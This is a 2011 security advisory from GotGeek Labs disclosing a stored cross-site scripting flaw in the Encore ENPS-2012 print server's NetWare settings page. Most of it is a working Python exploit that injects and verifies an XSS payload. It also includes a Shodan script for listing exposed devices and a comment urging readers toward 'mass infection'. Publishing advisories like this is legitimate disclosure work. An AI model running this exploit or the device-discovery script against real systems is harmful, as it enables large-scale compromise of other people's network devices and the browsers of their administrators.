Encore ENPS-2012 – Cross-Site Scripting
GotGeek Labs http://www.gotgeek.com.br/ Encore ENPS-2012 Cross-site Scripting Vulnerability [+] Description Encore 3-Port Print Server converts a standalone USB or a parallel printer into a shared printer, through a wired Ethernet connection. As a result, you can save the cost and space for additional printers. ENPS-2012 can connect up to 3 printers - using the 2 USB2.0 ports and 1 parallel port - that users can share across the Internet or local area network (LAN). Printing on the shared printers from anywhere on the Internet is as easy as printing from your own office. For your convenience, ENPS-2012 comes with a friendly WEB-based configuration interface. This device also supports multiple network protocols and operating systems, making shared printing in mixed-LAN environments easy. [+] Information Title: Encore ENPS-2012 Cross-site Scripting Vulnerability Shodan Dork: ZOT-PS-39/6.3.0008 -WWW-Authenticate Advisory: gg-005-2011 Date: 03-15-2011 Last update: 03-26-2011 Link: http://www.gotgeek.com.br/pocs/gg-005-2011.txt [+] Vulnerabilities Stored Cross-site Scripting: Web interface from ENPS-2012 Print Server is affected by stored cross-site scripting vulnerability because it fails to properly sanitize user-supplied input at "NDSContext" field in "NetWare NDS Settings" area. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. After injecting the XSS code, you need to access Netware status page. XSS: http://target/RESTART.HTM?NDSContext=</script><script>alert("xss")</script><script> and then.. http://target/NETWARE.HTM Affected Version: Encore ENPS-2012 Print Server Firmware: 6.03.39E 0008 (ZOT-PS-39/6.3.0008) Other versions may also be vulnerable. [+] Proof of Concept/Exploit ## # # Exploit created for Encore ENPS-2012 # It can be easily modified to test other devices.. # or you can create a mass infection script using your shodan skills :) # ## # $ python enps-2012.py -t 10.1.1.245 -o 0 -s GOTGEEK # # [*] gotgeek labs # [*] http://gotgeek.com.br # # [*] XSS Options: # [*] 0 = alert('xss') # [*] 1 = window.location='http://www.example.com/' # # # [*] Checking print-server... # [+] Seems to be print-server ENPS-2012 # [+] Injecting XSS code... # [*] Wait while the print-server restarts # [*] Checking XSS code... # [+] XSS Injected! # # [*] Done! #!/usr/bin/python # import sys, time import httplib, socket import urllib, re from optparse import OptionParser url = "/RESTART.HTM?PSName=" url2 = "&NDSContext=" usage = "./%prog -t <target> -o <xss number> -s <true str>\n" usage+= "Example: ./%prog -t 10.1.1.1 -o 0 -s GOTGEEK" parser = OptionParser(usage=usage) parser.add_option("-t", action="store", dest="target", help="target print-server") parser.add_option("-o", action="store", dest="xss", help="xss option") parser.add_option("-s", action="store", dest="truestr", help="true string to validate") (options, args) = parser.parse_args() def banner(): print "\n[*] gotgeek labs" print "[*] http://gotgeek.com.br\n" print "[*] XSS Options:" print "[*] 0 = alert('xss')" print "[*] 1 = window.location='http://www.example.com/'\n\n" if len(sys.argv) < 4: banner() parser.print_help() sys.exit(1) def setxss(): xss = [ '</script><script>alert("xss")</script><script>', '</script><script>window.location="http://www.example.com/"</script><script>' ] options.xss = xss[int(options.xss)] return options.xss def checkurl(): try: print "[*] Checking print-server..." conn = httplib.HTTPConnection(options.target) conn.request("GET", "/CNETWARE.HTM") r1 = conn.getresponse() if r1.status == 200: print "[+] Seems to be print-server ENPS-2012" else: print "[-] None Found!\n\n" sys.exit(1) except socket.error, msg: print "[-] Can't connect to the target!\n\n" sys.exit(1) def injxss(): try: print "[+] Injecting XSS code..." urllib.urlopen("http://"+options.target+url+options.truestr+url2+options.xss) except: print "[-] Can't connect to the target!\n\n" sys.exit(1) def checkxss(): print "[*] Wait while the print-server restarts" time.sleep(20) try: print "[*] Checking XSS code..." check = urllib.urlopen("http://"+options.target+"/NETWARE.HTM").read() if re.search(options.truestr,check): print "[+] XSS Injected!\n" else: print "[-] XSS NOT Injected!\n" sys.exit(1) except: print "[-] Can't connect to the target!\n\n" sys.exit(1) def main(): banner() setxss() checkurl() injxss() checkxss() print "[*] Done!\n\n" if __name__ == "__main__": main() # ## # # Looking for vulnerable devices using Shodan # Encore, TP-Link and etc. # # $ python shodan_zot_ps.py 'ZOT-PS -WWW-Authenticate' # # [+] Results found: 2006 # # xxx.xx.xx.xxx # xxx.xx.xx.xxx # xxx.xx.xx.xxx # ... #!/usr/bin/python # import sys from shodan import WebAPI SHODAN_API_KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" api = WebAPI(SHODAN_API_KEY) try: results = api.search(sys.argv[1]) print "\n[+] Results found: %s\n" % results['total'] for result in results['matches']: print result['ip'] print "" except Exception, e: print "Error: %s" % e [+] Timeline 16-03-2011: first contact to vendor. 24-03-2011: second contact to vendor. 03-04-2011: no vendor response. 04-04-2011: advisory published. [+] References http://www.encore-usa.com/us/product/ENPS-2012 [+] Credits b0telh0 |